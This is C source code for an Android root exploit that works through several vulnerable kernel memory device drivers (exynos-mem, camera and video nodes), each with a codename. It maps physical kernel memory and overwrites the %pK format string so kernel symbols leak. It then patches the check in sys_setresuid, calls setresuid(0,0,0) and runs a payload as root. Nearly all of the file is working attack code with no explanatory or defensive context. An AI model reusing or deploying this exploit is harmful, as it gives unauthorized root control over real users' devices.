#include #include #include #include #include #include #include #include #include #include #include #include #include #define MEMORY_OFFSET 0x40000000 /*******************************************/ /************* EXPLOIT STRUCTURES **********/ /*******************************************/ struct exploit sam = {SAM_EXP, "/dev/exynos-mem", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &finalize_exynos}; struct exploit aragorn = {ARAGORN_EXP, "/dev/video1", -1, -1, 0, 0x1000000, 0, NULL, (void*) &init_aragorn, (void*) &sleep_func}; struct exploit gimli = {GIMLI_EXP, "/dev/DspBridge", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func}; struct exploit merry = {MERRY_EXP, "/dev/s5p-smem", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func}; struct exploit frodo = {FRODO_EXP, "/dev/exynos-mem", -1, -1, 0xfffff000, 0x50000000, 0, NULL, (void*) &init_frodo, (void*) &finalize_exynos}; struct exploit legolas = {LEGOLAS_EXP, "/dev/graphics/fb5", -1, -1, 0, 0xa00000, 0, NULL, (void*) &init_legolas, (void*) &sleep_func}; struct exploit gandalf = {GANDALF_EXP, "/dev/msm_camera/config0", -1, -1, 0, 0x1000000, 0, (void*) &pre_init_gandalf, (void*) &init_gandalf, (void*) &sleep_func}; struct exploit boromir = {BOROMIR_EXP, "/dev/camera-isp", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func}; struct exploit boromir2 = {BOROMIR2_EXP, "/dev/camera-eis", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func}; struct exploit boromir3 = {BOROMIR3_EXP, "/dev/camera-sysram", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func}; // Exploit global array struct exploit* exp_list[] = { &sam, &aragorn, &gimli, &merry, &frodo, &legolas, &gandalf, &boromir, &boromir2, &boromir3 }; struct exploit* exp_list[]; struct restore_fmt { unsigned long *ptr_fmt; unsigned long ptr_fmt_value; }; int main(int argc, char **argv) { exploit(argc, argv); } // Run everything int exploit(int args, char **cmd) { int ret, i; for(i = 0; i < (sizeof(exp_list)/4); i++) { ret = exec_exploit(exp_list[i], args, cmd); if(ret) break; } return ret; } void cleanup(struct exploit *exp) { if(exp->fd >= 0) { close(exp->fd); exp->fd = -1; } if(exp->fd2 >= 0) { close(exp->fd2); exp->fd2 = -1; } } int exec_exploit(struct exploit *exp, int args, char **cmd) { FILE *f; int fd, ret, m, length, index; char line[512]; char *str = NULL; char *ptr = NULL; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym = 0; unsigned long tmp2 = 0; unsigned long start_offset = 0; unsigned long *new_offset = NULL; bool found = false; struct restore_fmt r_fmt = { NULL, 0}; struct stat device_info; // Check if the vulnerable device exists if(stat(exp->dev, &device_info) < 0) { cleanup(exp); return 0; } // Exec pre_init function if defined if(exp->pre_init != NULL) { if(!exp->pre_init(exp)) { cleanup(exp); return 0; } } fd = open(exp->dev, O_RDWR); if(fd < 0) { cleanup(exp); return 0; } exp->fd = fd; // Exec init function ret = exp->init(exp); if(!ret) { cleanup(exp); return 0; } length = exp->length; start_offset = exp->start_offset; /* Map the required kernel physical memory */ paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset); new_offset = paddr; if(start_offset) new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2)); tmp = new_offset; if (paddr == MAP_FAILED) { cleanup(exp); return 0; } f = fopen("/proc/kallsyms", "r"); if(!f) { cleanup(exp); return 0; } memset(line, 0, sizeof(line)); if(!(fgets(line, sizeof(line), f))) { cleanup(exp); return 0; } str = strtok(line, " "); // Check if it is already possible to read kernel symbols from kallsyms if(!strtoul(str, NULL, 16)) { if((exp->length - 12) == 0) { cleanup(exp); return 0; } // Use libkallsyms first if(kallsyms_in_memory_init(tmp, exp->length)) addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid"); // If libkallsyms failed try a second method if(!addr_sym) { /* * search the format string "%pK %c %s\n" in memory * and replace "%pK" by "%p" to force display kernel * symbols pointer */ for(m = 0; m < (length - 12); m += 4) { if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; } else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) { r_fmt.ptr_fmt = (unsigned long *)(tmp+1); r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1); *(unsigned long*)(tmp+1) = 0x63252020; found = true; break; } else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff; found = true; break; } else tmp++; } if (found == false) { cleanup(exp); return 0; } fclose(f); // Now we should be able to read /proc/kallsyms addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); } } // If kallsysms is already mapped use it else addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); if(!addr_sym) { cleanup(exp); return 0; } if(addr_sym) { tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2; tmp2 = tmp2 << 2; tmp2 += (unsigned long) new_offset; tmp = (unsigned long *)tmp2; for(m = 0; m < 128; m += 4) { // Search the cmp $r0, 0 check in the mapped sys_setresuid function if (*(unsigned long *)tmp == 0xe3500000) { // Patch with a cmp $r0, 1 instraction restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; } tmp++; } } // Finalize if(!exp->finalize(exp)) { cleanup(exp); return 0; } /* ask for root */ ret = setresuid(0, 0, 0); if(ret) { cleanup(exp); return 0; } // If everything was ok we are root now exec_payload(args, cmd); /* restore memory */ if(r_fmt.ptr_fmt != NULL) *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value; if(restore_ptr_setresuid != NULL) *(unsigned long *)restore_ptr_setresuid = 0xe3500000; msync(paddr, length, 4); munmap(paddr, length); close(fd); if(exp->fd2) close(exp->fd2); return 1; } .